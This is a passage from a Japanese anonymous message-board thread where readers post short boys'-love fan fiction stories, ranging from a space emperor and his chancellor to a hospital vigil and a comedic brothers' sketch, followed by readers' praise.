重に断られてしまった。頚動脈を傷付けた殺人光線は神経にも少なからざる影響を与
えていたのだ。28世紀の医療技術をもってしても破損した神経を元通りに治療する事
は叶わなかった。
それを持ち出されては皇帝は何も言えず、首席元帥の座を受け取らせ不承不承公式文
書にサインしたのである。

この扉の向こうに、皇帝その人がいる。
恐れ多くも幼友達でいかに仲が良いとはいえ、机をくっつけて公務を行うわけではな
い。青年は宰相として幾つかの懸案と裁可の必要な書類を携えて来ていた。入室を許
可する声がかかり、背筋を伸ばして室内へ踏み込む。室内を横切り広い机の前で緩や
かに頭を垂れた。 <> 金髪さんと赤毛さん(3/8)<>sage<>2006/11/08(水) 18:05:49 ID:61Y7f99f0<> 「失礼します、陛下。先の事案を纏めておきましたので目を通して頂けますか」
「待っていた。見せろ」

無表情で腹心を迎えた皇帝は書類と数枚の光化学ディスクを受け取ると、軽く手を振っ
て人払いした。心得た秘書官と親衛隊が礼を施し席を外す。
青年はやや複雑そうにそれを見送った。自分と皇帝の関係は臣下と主君としては相応
しからざる状態にある。褥を共にする事さえある事実は絶対に好ましいものではない。
外部に漏れたら醜聞は免れまい。宰相を招く時、必ずと言って良い程人払いをするの
はあまり良い傾向とは思えない。
その心情のままの視線を主君の顔に注ぐが、かの人は頬杖をついて物憂げに文面を追っ
ているだけだ。

見るからに憂鬱そうで青年は心を痛めた。望みもせぬ結婚や交際を求められても迷惑
だという事は、彼も理解するところである。
ところが主君は簒奪にあたり、前王朝の皇女との結婚も視野に入れていたという。
『どうせ形だけの事だ』とシニカルに笑っていた。そんな主君の政治的分野における
冷徹さを目の当たりにすると、青年は心配になってしまう。

陳腐な言い草だが、大切な主君に愛の無い結婚などしてほしくはない。
しかし、主に愛する女性ができてその方が皇妃となった時、果たして心から祝福でき
るのだろうか。青年には自信がなかった。有得べからざる事に、まだ見ぬ女性に妬心
を抱いていた。
浅ましく醜い感情は青年にとって未知のもので、そんな自らを恥じ嫌悪した。求愛を
受け情を通じながらも、明確な返答を避けてきた理由の一部だ。 <> 金髪さんと赤毛さん(4/8)<>sage<>2006/11/08(水) 18:06:38 ID:61Y7f99f0<> 近頃主が言うように『自分が女性だったら』とは思わぬ。男であればこそ、共に並び
立ち幾多の戦場を潜り抜けかの人の後背を護って来られたのだ。
それは主君もわかっているはずだから、愚痴に紛れてかの人がそう訴えるのは単に結
婚を忌避する以外に、何か別の理由があるのだろう。それを青年に窺い知る事はでき
なかったが。

「何だ? 座っていて構わないぞ」
腹心の目線を受けた皇帝がやっと顔をあげ、二人になった為か幾分気さくな語調で椅
子を勧める。青年は首を横に振った。

「いえ、すぐすみますから」
「……そうか。なら少し聞きたいのだが」

僅かばかり皇帝の声音が低くなる。それに青年は気がついたが何も言わずに執務机の
向こうに回り込み、横から同じ書面を覗いて指摘された箇所の説明を淡々と加えた。
書類はほぼ完璧に整えられており、今更注釈など不要であったからこれは皇帝の甘え
だ。わかっていて宰相は面倒がる素振り一つ見せない。やがて皇帝の指が手遊びに赤
い髪を玩び出す。触りやすいようにと自然青年は中腰の体勢になる。

何も変わらぬ彼らの日常であったが、明確に変わった部分もある。
双方の内心と、しなやかな指が辿る皮膚の範囲だ。滑らかな首筋がお気に入りの一つ
だった皇帝は、手遊びでは決してそこに触れなくなった。彼の親友の命を奪いかねな
かった傷は、引き攣れた痕跡となって残っている。 <> 金髪さんと赤毛さん(5/8)<>sage<>2006/11/08(水) 18:07:24 ID:61Y7f99f0<> 注意深くそこを避け、ルビー色の髪から始まって瞼、頬、唇と青年の顔面を隈なく辿っ
ていた指先が青年が身動ぎした為、偶然傷に触れる。他とは違うつるりとした薄皮の
感触に、白い手がビクリと慄き引っ込んだ。

「あ」
皇帝が些か間の抜けた声を発し、困ったように眉尻を下げた宰相がリハビリの末随意
に動くようになった利き手で遠ざかってしまった主君の手をぎこちなく握る。どうも
この主は負傷した本人以上にその事を気に病んでいるらしい。
青年の方としては、死を覚悟して最後の言葉らしきものまで主君に託したのに、生き
残ってしまい現在振り返れば赤面の至りなのだが。

血液のシャワーが床を叩く音。
全身を真っ赤に染めた親友が倒れる光景。

うそ寒くなる様な記憶を忘れてしまう事は、皇帝にとっては難しかった。
汗まみれで飛び起き、夢であった事を確認して息を吐き出す。常に護衛が立つ皇居で
は叶わぬが、もっと気楽な身分の時は夜中に親友の寝室に忍んでいき無事を確かめて
いた事もある。
半身を失う恐怖は再三悪夢となって甦り、長く皇帝を苛んだ。いくらあの優しい声で
気にするな、と繰り返されてもそれは不可能だった。

情事の最中、贖罪の様に何度も何度もそこに与えられる接吻を青年は知っている。背
徳を覚えながらも幸福感に溺れ快楽に意識を攫われる自分、あの後初めて肌を重ねた
時、胸に残る銃創を震える指でなぞり揺れる声で『もう痛くないのか』と問うらしく
なく気弱げな面持ちも。
その時と同様に蒼氷色の瞳は翳り、悔恨と憂いが白皙の面に浮かんでいる。これでは
いけない、と青年は思う。眩いばかりの光輝と前進こそ彼の主君には相応しい。 <> 金髪さんと赤毛さん(6/8)<>sage<>2006/11/08(水) 18:08:27 ID:61Y7f99f0<> 青年は意を決した。ずっと保留にしていた返答をするなら今だと。
恒久的にこんな曖昧な関係を続けるわけにはいかぬのだ。返事を急かすでもなく律儀
に待っていた主君の忍耐力を思えば、驚異に値する。持ち前の短気から街のガキ大将
と事を構え、当時子供社会で一目置かれていた青年の庇護が無ければ表通りも歩けな
かった幼少時代を思えば、随分成長なさったものだと感慨もひとしおである。
以前から用意していた答えを頭の中で整理し、我が皇帝、と静かに呼んで主君の視線
を上げさせた。

「いつか、言ってくださりましたよね。
 あなたの手に入れるものは、何でも半分は私のものだと」
「……ああ、言った」

唐突な質問を受け、皇帝は一拍置いてから頷く。探る様な目つきは、何を言い出すつ
もりだと少々警戒しているようにも見え、微かに怯えているようにも解釈できる。
青年は不意に息苦しさを感じた。心なしか動悸も早いようである。慣れない事をしよ
うとしているので、緊張しているのだ。昔金髪の姉君に教わった『リラックスするお
まじない』をしようとしたが、手を繋いでいるので出来なかった。いつの間にか確り
握り返されていたのだ。
仕方なく、ウロウロと視線を彷徨わせた後最愛の主君を見据えて口を開く。

「ならば、私自身も半分はあなたのものです。……あなたも、半分は私のものです。
 それでは駄目でしょうか?」

迷う語調でゆっくりと紡がれた言葉に、皇帝は呆然としていた。その意味が意識野に
浸透するにつれ、歓喜の面持ちにとってかわる。書類を放り出し革張りの椅子から素
早く腰を浮かせた勢いに、宰相がややたじろいだ程である。
皇帝は満面の笑みを顔中に広げて親友の右手を両手で包み、丸で握手の様に勢いよく
上下に振っている。
<> 金髪さんと赤毛さん(7/8)<>sage<>2006/11/08(水) 18:09:09 ID:61Y7f99f0<>
「駄目なものか。そうだな、そうだとも」
「現在はそうとして、皇妃をお迎えの暁には――」

こんなに喜んで下さるならもっと早く言って差し上げれば良かったと顔を綻ばせて皆
まで言う前に、それまで上機嫌だった皇帝の瞳に剣呑な光が宿り、青年は失敗した事
を悟った。

「ほう、お前はそんなにおれを他の女と結婚させたいのか」
「陛下……」
「それはおれの事か? 二人の時堅苦しいのはよせと何度言ったらわかるのだ?
 お前がそのつもりなら相応の礼をもって報いるぞ。後宮に閉じ込めて金の鎖で繋ぐ
とかな」

勿論、皇帝は本気で言っているわけではない。権力を振り翳す様なやり方は彼が最も
軽蔑し嫌う所業だ。
だが青年は思った。やる。この人なら。後宮はともかく、寝室から出られなくなる可
能性はゼロではない。

かつて数十万の大艦隊の陣頭に立つ姿は、覇気と烈気に満ちそれは神々しいものだっ
た。その指揮ぶりは勇壮華麗を極めた。将兵達は軍神さながらの年若い指揮官に惚れ
惚れとし、かの人に仕える誇らしさに胸を溢れさせたものである。
戦いが沈静化した今となって、その情熱と激しさを一身に受ける方としては過ぎた寵
愛に文字通り身が細る思いだった。 <> 金髪さんと赤毛さん(8/8)<>sage<>2006/11/08(水) 18:09:57 ID:61Y7f99f0<> もっと淡白でいらっしゃると思っていたのに。決して誰にも言わぬ、青年の本音だ。
青年は何とかして苦笑を形作った。眼差しには謝罪を込める。不穏な言動をとらせて
しまった原因は自らにある上、主君を不快がらせるのは彼の本意ではなかった。

「……お戯れを。どうすれば許してくださりますか?」

穏やかに尋ねられると、皇帝は視線を和らげる事なく絡め合ったままの指を無言で軽
く引いて催促する。
燦燦と陽光の注ぐ窓際。それを反射する玉璽。書きかけた書類。沈黙している情報端
末。執務室には二人の他、誰もいない。
彼らにとってはそれで充分だった。

廊下へ続く扉の方へ視線を流し来訪者の不在を確認した後、青年は主君の名をようや
く口にした。アイスブルーの眼に甘味の微粒子が加わり、右よりは器用に動く大きな
左掌が金髪を柔らかく撫でつける。青年の首に回る手はもう慄いてはいなかった。
皇帝の端麗な唇に、獲物に爪をかけんとする笑みが閃いた。それは青年が最も得難く
思う主君の表情の一つで、こういった状況においては罪悪と同等以上の興奮を呼び起
こすものだ。

仄かに微笑した宰相は口付けをする為に少し屈み、皇帝は踵を浮かせた。


  Ende <> 金髪さんと赤毛さん<>sage<>2006/11/08(水) 18:10:50 ID:61Y7f99f0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |             モエ吐キ出シカンリョウ!
 | |                | |           ∧_∧ ナンカモウgdgd
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
勢いだけで書いた。今は反省している。 <> 風と木の名無しさん<>sage<>2006/11/08(水) 18:41:38 ID:1obUKpEs0<> 元ネタ知らないけど萌えた(*´Д`) <> 風と木の名無しさん<>sage<>2006/11/08(水) 19:06:52 ID:lLZvHf2V0<> >>571
うおお、萌えた、
赤毛が生きてることに泣けた
続きが気になる <> 風と木の名無しさん<>sage<>2006/11/08(水) 22:12:58 ID:vGQ54GOq0<> |>PLAY ピッ ◇⊂(・∀・ )ジサクジエンガ オオクリシマース!
こんな秀作続きの中にゴミ一個投下。
ラジオが人気な某謳われるケモ耳たち。
侍大将&若様で侍大将、変態注意報。
短いけどバクダンですよ。 <> 風と木の名無しさん<>sage<>2006/11/08(水) 22:15:21 ID:vGQ54GOq0<> 「一つ……いえ、二つだけ聞かせてください」
「ん?……って、うあ!なんだべナウィ! いつの間に俺の背後に……」
「貴方はご自分の戦場での衣装をどうお考えですか?」
「どうって……ありゃ、手違いって言うか手抜きって言うか、半ば(中の人の)確信犯って言うか……」
「…………」
「な、なんだ。何故黙る。目が座ってるぞ」
「それが、答えですか」
「あ、ああ。後一つは?」
「……あなたの、好きな体位を」
「俺、今ならお前に勝てそうな気がする」





□ STOP ピッ ◇⊂(・∀・ )イジョウ、ジサクジエンデシタ!
これだけですよ。
あの台詞を弄ってみたかっただけ。
「アルルゥと聖上探し編」と「VSウル卜リィ編」はもうちょっとなんとかしときます。 <> 風と木の名無しさん<>sage<>2006/11/08(水) 23:52:24 ID:xaanS1Tm0<> >>574
短いけどキター!ゲームやってないけど他の続きも待ってますよ。 <> 風と木の名無しさん<>sage<>2006/11/09(木) 00:55:30 ID:qvJIQBzv0<> >>562
この二人大好きだから嬉しい。
本当に生きてたらぁ、と思えた。
GJ!
<> 風と木の名無しさん<>sage<>2006/11/09(木) 07:06:34 ID:5AKv3QvyO<> >>574
若様キター!!!
小ネタでもイイ!
次も待ってます <> 風と木の名無しさん<>sage<>2006/11/11(土) 22:54:31 ID:sy+H4R860<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  最強伝説黒沢で仲根×黒沢
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  最終回の後日談の妄想補完…
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ドキドキ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/11/11(土) 22:55:34 ID:sy+H4R860<> 「嫌だ…嫌だ…兄さん…嫌だ…」
その声は涙でかすれていた。仲根は夜明け前の病院の廊下をふらふらとさまよっていた。
公園で黒沢が倒れてから今まで何があったのかー黒沢の手から力が抜けた瞬間、救急車の
サイレンが鳴り響いた。それから先はまるでフィルムを見ているように現実感がない。
救急車ー手術ーNCUーベットの中の黒沢はいくつものチューブに取り巻かれ、人工呼吸器
が顔に被せられ、そして今酸素テントの中にいる。そしてNCUの厚いドアは周りー
坂口ら会社の同僚、ホームレスの面々から黒沢の姿を一目みることさえ拒んでいる。
 待合室の同僚たちー歯をかみ締める坂口、泣きじゃくる浅井や小野ー泣きじゃくる茜
婆さんをなだめるホームレスの面々ーもうこれ以上一緒にいることは仲根には耐えられなかった。
NCUーその意味ー脳血管外科系重症患者を対象とした集中治療病棟ーを医者から聞かされたとき、
周りに漂った沈痛な空気に仲根はもう耐えることができなくなっていたのだ。
 予断を許さないーこの24時間が峠ー周りの嘆きとすすり泣きは仲根を無数の針となって包み込む。
まともに息すらできない。針を吸い込んでいるようなものだからだ。窒息しそうな思いで
待合室を出るとそのままふらふらと仲根は廊下をさまよっていた。夜明け前の冷えた空気ー
一人になるとその寒さが突き刺さる。そして黒沢が死んでいくという絶望が仲根を苛む。
手の中の砂がこぼれるような…そしてその砂を取り戻すことができずにただ見ているだけなのだ。
失いたくない。失いたくない。こんな形で兄さんを失いたくない。
「嫌だ…嫌だ…嫌だ…」
何度も繰り返しながら、涙が頬を伝わるままにさまよい歩いた。どこを歩いているのか仲根には
わからない。無数の針が仲根の思考を麻痺させていた。
 突然、仲根は躓き倒れた。薄暗がりの中をさまよっているうちにベンチの足に引っ掛けてしまったのだ。
力なく起き上がりベンチの上に倒れるように座り込む。
 兄さんが死んでいく…嫌だ…俺は……
 誰か何とかしてくれ!! <> 風と木の名無しさん<>sage<>2006/11/11(土) 22:56:07 ID:sy+H4R860<>  無意識のうちに十字を切り仲根は手を組み祈っていた。
 祈るなんて初めてだった。いや、幼い時イギリスにいたころイタリアの祖父の家に遊びに行った時に
ミサに連れられて、そこで見よう見まねでやったぐらいだろう。それ以来仲根は祈ったことはなかった。
何に対しても、誰のためにも祈らなかった。そう、祈るのはこれが初めてだった。
 「頼む…兄さんを助けてくれ…頼む…お願いします…」
 …なぜお前は祈る?なぜ?
 ―兄さんに生きていてほしいんだ…兄さんのような人はいないから…
 …兄さんか…その割にはずいぶんと迷惑かけてるな?
 ―そうだ…喧嘩の時も…先輩たちから助けてもらった時も…兄さんに不良たちのこと教えた時も…
  俺は何もしなかった…何も……!だけど俺には…大事な人なんだ…嘘じゃない!!生きていてほしいんだ!
 …そういう割には喧嘩の時本気でバット頭に叩き付けようとしたじゃないか?下手したら死んでたぞ?
 ―!!…そう本気だった…あの時本当は人が死ぬなんてわかっちゃいなかったんだ!!ほんの軽い気持ちで…
 …それでよく言えるな…助けてくれと…
仲根は唇をかみ締める。その声が”神様”って言うやつなのか?だが奴のいうことは正論だ。筋が通っている…
 「だけど…好きなんだ…あの人が…あの人が誰よりも好きだ…あの人のそばにいたい…」
 かみ締めた唇からうめくようにつぶやく。
 …どこが好きなんだ?
 ―あんな暖かい人いない…誰よりも暖かくて筋が通っていて…俺なんかより…ずっとヒーローなんだ…
 ―俺のヒーローなんだ…俺みたいな不良と違って…
 …ではお前はそのために何をする?
 「俺の命と引き換えに助けてくれ!俺みたいな奴よりもあの人のほうが大事なんだ!俺が兄さんの身代わりに
  なる!殺せ!殺してくれ…それで兄さんが代わりに助かるのなら…お願いです…お願いします…どうか俺の
  命と引き換えに兄さんを助けてください…」
 …ほう…どうして…
 「好きだからだ…!殺してくれ!俺を殺してその命を兄さんにあげてくれ!それくらい…好きなんだ…」
 哀願だった。声を振り絞りまぶたの裏に写る影に祈り続けた。
 「殺してください…俺を身代わりにしてください…」 <> 風と木の名無しさん<>sage<>2006/11/11(土) 22:58:14 ID:sy+H4R860<>  黒沢は酸素テントの中の自分の肉体を振り返った。体から自分が離れていっている…しかし違和感がなかった。
違和感を感じたのは公園で意識を失った時自分はすぐ死ぬと思ったのに、今意識だけが普通に”この世”に留まって
いることに対してだった。
 坂口たちやホームレスの面々に意識が向いたとたんに黒沢は待合室にいた。沈痛なみんなをみていると黒沢の胸は
さすがに痛んだ。
「おい、心配すんな。俺なら大丈夫だぜ?」
 口に出したが、届くはずもない。悪いことしちまったよ…唇を噛み改めて周りを見回せば仲根がいない。仲根はどこ
いったんだ?
 次の瞬間、黒沢は仲根の前に立っていた。目の前の仲根は涙に顔を腫らしながら祈っていた。黒沢に気づかないまま
無心に祈っていた。
 黒沢の表情にふっと苦笑が浮かぶ。よせよ…そんなのお前らしくないぜ…まるで夏休み最後の日の俺みたいじゃないか
 …俺もあんな風にして明日が8月32日になりますようにっていつも祈っていたんだぜ…
 思わず黒沢の手は仲根の頭をなぜていた。仲根の硬い髪を感じながらあやすようになぜていた。
 黒沢の手に気づかないまま祈り続ける仲根の口からぶつぶつと祈りの言葉が聞こえる。黒沢は耳を寄せていた。
「殺してください…俺を身代わりにしてください…俺の命を兄さんにください…だから…兄さんを助けて…」
「バカーッ」
黒沢は思わず叫んで仲根の頭をはたいていた。しかし黒沢の手は仲根の頭を突き抜けただけだった。
「バカッバカッ、ガキガキガキッ…」
手が突き抜けるのもかまわず仲根の頭をはたき続けていた。
  ―自分の命ぐらい大事にしろよ…このガキが!! <> 風と木の名無しさん<>sage<>2006/11/11(土) 22:58:50 ID:sy+H4R860<> …お前の命はどうでもいいんだな?
背後から声が聞こえたが、黒沢は振り返らなかった。
―俺が助かってもあいつが死んだら何にもならねえ!!
…一度はお前を遊び半分に本気でバットで殴り殺そうとした奴だ…しかもお前に甘えているそんな奴だ…
―そんな奴だと!!
…そうだ。
―たしかにあいつはガキだ!俺はあいつが危なかしくて見ていられねえ!でもな…あいつ意外といい奴なんだ
 …ガキだけど機転は利くし、腕っ節も強い。それに根はいい奴と思うんだ…そんな奴をほっとけねえ…
…だがお前はそいつを置いていこうとしたな…そう頼まなかったか?
―あーもう前言撤回!やめやめ!頼む!やめやめ!!
…男に二言はないはずだぞ?
―だったらあいつが一流の男になるまで保留してくれ!こんな自分を身代わりにしろなんて危ないこと抜かす
 奴ほっとけるかよ!俺はあいつよりだめだめだが、あいつを泣かせることはしたくない…あいつを見守りたい…
 俺はあいつが好きなんだ…本気だ!!俺は戻る!覚悟完了!
……しょうもない奴らだ…ククク…
 黒沢はひとしきりわめくときびすを返した。だが出て行く時と違って鈍くなるのを感じた。空気が水となって
黒沢を溺れさせているようなものだ。
―ぐぐぐ…重い…溺れる…
…大丈夫か?ククク…
―笑いやがって…!こいつは…俺は戻る!意地でも戻る!だって俺はあいつの…ボコボコボコ…
…おっと、溺れたか?ゲームオーバーか?ククク…
―バカヤロー!こけにすんな!あいつの元へ…あいつの元へ…俺は戻る…戻る…戻る…ボコボコボコ…
黒沢は空気の海に溺れかけながらなおも戻ろうともがく。もがきながら先へ進む。
…やれやれ面倒な連中だ…だからいいのかもしれん…… <> 風と木の名無しさん<>sage<>2006/11/11(土) 22:59:38 ID:sy+H4R860<> 「兄さん、もう一切れいけますよね?」
中根がふふっと含み笑いを浮かべたまま、フォークの先のリンゴの一切れをベットの黒沢の口元に差し出す。
「だーかーら、そんな恥ずかしいことやめろよ!バカ!もう起き上がれるんだぞ!」
「いいじゃないっすか、兄さん。たまには思い切り甘えてみるのも悪くないっすよ。」
黒沢は病室を見回し、周りの患者たちに注目されていることに改めて気づいて赤面して仲根から目をそらした。
「もう兄さん、あんな危ないことやめて、俺と一緒にワイハ行きません?」
リンゴを皿に戻すと仲根が黒沢の横顔を覗き込んだ。
「だから、何度も言っただろ?給料減らされたから行けねえって…」
「でもリストラされなくってよかったですよ。坂口から聞いたところによると赤松という人が社長に掛け合ってくれた
から減給程度ですんだって…」
「ああ…お前も婆さんやホームレスのみんなのためいろいろツテ探したそうじゃないか。」
そこで黒沢は一旦言葉を切って、ふっと息を継いだ。
「お前…ありがとうよ…本当にありがとうよ…もっと早く目覚めた時から言うべきだったかな?」
 一気に言うと満面の笑顔を浮かべた。
 仲根は涙がこみあげるのをごまかそうと無理に窓へと顔を向けた。そしてかすかな声でつぶやいた。
「あ…りがとう…今まで…ありがとう…」
仲根の声の震えに黒沢は気づいていた。しかしわざと明るく声を立てた。
「いい五月晴れじゃないか。あーあ、お天道様も上機嫌といったところか…ゴールデンウィークを寝て過ごす
なんてもったいねえ…」
 そしてそっと口に出さずにつぶやいた。
「あいつをこうして見守っていられるのも…あんたのおかげだ…ありがとう…」
(完) <> 風と木の名無しさん<>sage<>2006/11/11(土) 23:01:29 ID:sy+H4R860<>  | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ お粗末さまでした
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
あの最終回の後こうなっているといいな…単なる妄想でした。 <> 風と木の名無しさん<>sage<>2006/11/12(日) 16:52:24 ID:BC/NJXgW0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  流石兄弟
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  …なんと表記すればいいのか…
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ 流血沙汰あり
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
<> 1<>sage<>2006/11/12(日) 16:54:30 ID:BC/NJXgW0<>  
 めったに外に出ることがないので、いい年をしてお土産が嬉しい。
 それがアイスやプリンの甘くて冷たくておいしいものだと、自然に顔がにやけてしまう。
 でもこれが毎日だったら、流石にこんなにとろけていない。
 弟者はこういうあたりの加減が上手い。
 ほどほどに間隔をあけて、こちらが全く期待していないときにそれを取り出す。

「おお、これは○×堂のキャラメル・プリン!」
 喜びのあまり下げ進行のスレを思いっきりプリンあげしてしまい、住人の総攻撃をくらう。
 そんなの無視してプリンにとびつく。
 そこで弟者に押し留められる。
「なんだ?これ一個でカラダは売らんぞ」
「大量だったら売る気か」
「まさか。さすがにあきらめる」
 気のせいか弟者ががっかりしたように見えた。
「そこまで無茶は言わないが、何か見返りがあってもよくないか」
「うむ。そこのフィギュアをくれてやろう」
「……女装したダディクールのフィギュアなどいらん」
「一品ものだぞ。めったに手に入るものではない」
「もらってくれと頼まれても欲しくない」
 趣味の範囲のせまいやつだ。
「それではおまえが何らかの理由で自作自演が疑われたとき、弁護してやろうではないか」
「意義あり!逆ならともかくありえない」
 世の中、どんな陰謀に満ちているのかわからぬのに無用心なことだ。 <> 2<>sage<>2006/11/12(日) 16:55:49 ID:BC/NJXgW0<>
「では、何が欲しいのだ」
 珍しいことにあのひねくれた弟者が、赤面しつつ口ごもる。
なんだがかすれた声で、音を出す。
「……キ」
「キツツキ?持ってないぞ、そんなもの」
「違う!」
「北枕?縁起が悪い気がするが」
「…どうやってそれをくれる気だ」
「簡単だ。いつもの枕を北に置くだけ」
 何を怒っているのだろう。

「吉祥天女。神々しいとはよく言われるが、流石にそこまではうぬぼれておらん」
「誰が言うんだ、誰が」
「金斗雲。キアヌ・リーブス。金閣寺。どれも無理な気がするが」
 なんだか頭を抱えていた弟者が、小さな声で何事かつぶやいた。
「アーアー∩ ゚д゚)∩キコエナーイ」
「………キス」
「おお、それは良い考えだ」
 弟者の顔が明るくなる。
「だが、それは母者に頼んでくれ」
「母者と?!」
「ああ。出来れば天ぷらにして欲しい」
 よろめいた拍子に机のスタンドに頭をぶつけている。挙動不審なやつだ。
悪いものでも食ったのだろうか。 <> 3<>sage<>2006/11/12(日) 16:58:41 ID:BC/NJXgW0<>
 机の端につかまって、しばらく痛みに耐えていた弟者がどうにか立ち直る。
ずずい、とこちらにより、真剣な顔で俺を見る。
「なに?」
「オレはあなたが心配なのですよ」
「そうなのか」
「DQNで甘ったれでヒッキ―で、人づきあいは出来ないし、先のことなど全く考えていない。
この先路頭に迷うことになるのではと思うと、いてもたってもいられない」
「えらい言われようだな」
「弟として、この現状を打破するために少し考えてみた」
「大きなお世話だ」
「練習、してみないか。コミュニケーションの」
「不要」
「いや、ここは一つ、よりよい明日を築くため、あんたは努力する必要があるのだ。
現代社会では人間関係が希薄化したためさまざまな問題が……あ、こら、まだ食うな」
 ちっ、バレたか。
「現代社会の問題点まで俺のせいにされても困る」
「困ることはない、出来の悪い兄を心の底から心配するこの弟が、身を持って社会復帰の手伝いをしてやろうと」
「いや、いいから」
「よくない。あんたは典型的な引きこもりだ。つまり全国3千万のヒッキ―を代表した存在といえる」
「その数字にソースはあるのか」
「大事なのはそこじゃない。あんたの位置の意味する社会的状況が…」

 なんだかやたらと話が長い。せっかくのプリンがぬるくなるではないか。
俺は迷惑そうに弟者の熱弁をとばし聞いた。やつは途中こぶしを振り上げたり、声を大きくしたり、
まるでギレンの大演説だ。
<> 4<>sage<>2006/11/12(日) 17:01:46 ID:BC/NJXgW0<> 「……ということでわれわれは現実的な肉体を持って、その虚構の空白を埋めねばならない」
「わかった。じゃ、いただきまーす」
 スプーンを突っ込んだ瞬間、取り上げられる。
「あ、こら、返せ!」
「…オレの話、聞いてたか?」
「えーと、人づきあいは大事だってことをなんか小難しく言ってたな」
「間違いとはいえないが、それを食べる前にまず練習しようと言ってるのだ」
「食べたあとにしよう」
「そうはいくか」
 俺のプリンは本棚の上にのせられてしまった。

「冷たいうちの食べたいのだが」
「長くはかからん。まず、目を閉じろ」
「他者とのコミュニケーションとやらはそうは始まらないであろう。
害意のないことを示しあうことがファースト・コンタクトとして必要ではないのか」
 弟者がぽかん、とこちらを見る。
「やはり目を開けたままごあいさつが基本だろう……こんにちは」
「はぁ、こんにちは」
 兄弟間で頭を下げあってみる。
「できた。プリンくれ、プリン」
「いや、まだだ。この先が重要なんだ」
 俺にはプリンのほうが重要なのだが。
「わかった。初めまして、私は流石兄者というものです」
「弟者と申します」
 もう一度おじぎをしあう。
「弟者さんは毎日、どう過ごしていらっしゃいますか」
「はぁ、学業とバイトに忙しい日々です。あなたは?」
「萌え画像探索とブラクラゲットに忙しい毎日です」
「どこが忙しいんだ、どこが!」
「モチつけ、単なる練習ではないか」
 ぽんぽん、と肩を叩いてなだめてやる。そろそろあきらめて食べさせてくれないだろうか。
<> 5<>sage<>2006/11/12(日) 17:04:13 ID:BC/NJXgW0<>
「えーい、このままじゃキリがない。いいか、人間関係でもっとも深い関係はわかるか?」
「加害者と被害者」
「違う。恋人同士だ」
 きっぱりと断定された。
「親子関係とか、もっとあるのではないか」
「いや、なんと言ってもこの関係に尽きる」
「恋人といってもいろいろあろう。二股とか、不倫カップルとか、遊びのつもりで深みにはまったものとか」
「この際それは別にして、コミュニケーションの基礎をごく一般的な恋人同士においてみることにしよう」
「はぁ?」
「それが人間関係を極める早道だ」
 なんだかすごい勢いで押し切られる。
「いや、オレはどうでもいいのだが、あんたをこのままにしておくのは心配だから。
で、設定としてオレとあんたは恋人同士だ」
「………無理がありすぎないか」
「いや、いいんだ。とにかくそういうことにして会話してみる」
 強引なやつだ。
「わかった。……ねぇ、ダーリン、プリン食べたいんだけど」
「はっはっは、ハニー、おねだりかい?」
「キモいを通り越して怖いぞ、弟者」
「とにかく会話を続けるんだ……えい、席を代われ。膝の上にのって、首に手を回せ」
「なんでそんなことをせねばならんのだ?」
「物事はまず形から入ることにより、おのずから心も造られていく」
「いや、別に造られなくていいから」
「あんた、全国3千万のヒッキ―たちを見捨てる気か!」
「別にかまわんが」
「なんと情けないことを。いいか、今この国は未曾有の危機に面しているんだぞ」
「ほう」
 なんだかニートと年金問題についてまた演説を始めた。心の中の早回しスイッチを押しておく。
<> 6 流血注意<>sage<>2006/11/12(日) 17:08:15 ID:BC/NJXgW0<> 「……と、言うわけであんたはそうする必要があるんだ」
 これ以上反論するのも面倒なので、黙って膝の上にのってみる。
生温かくて気持ち悪い。弟者もさぞかし懲りただろうと見下ろすと、
なんとうっとりと目をつぶっているではないか。 
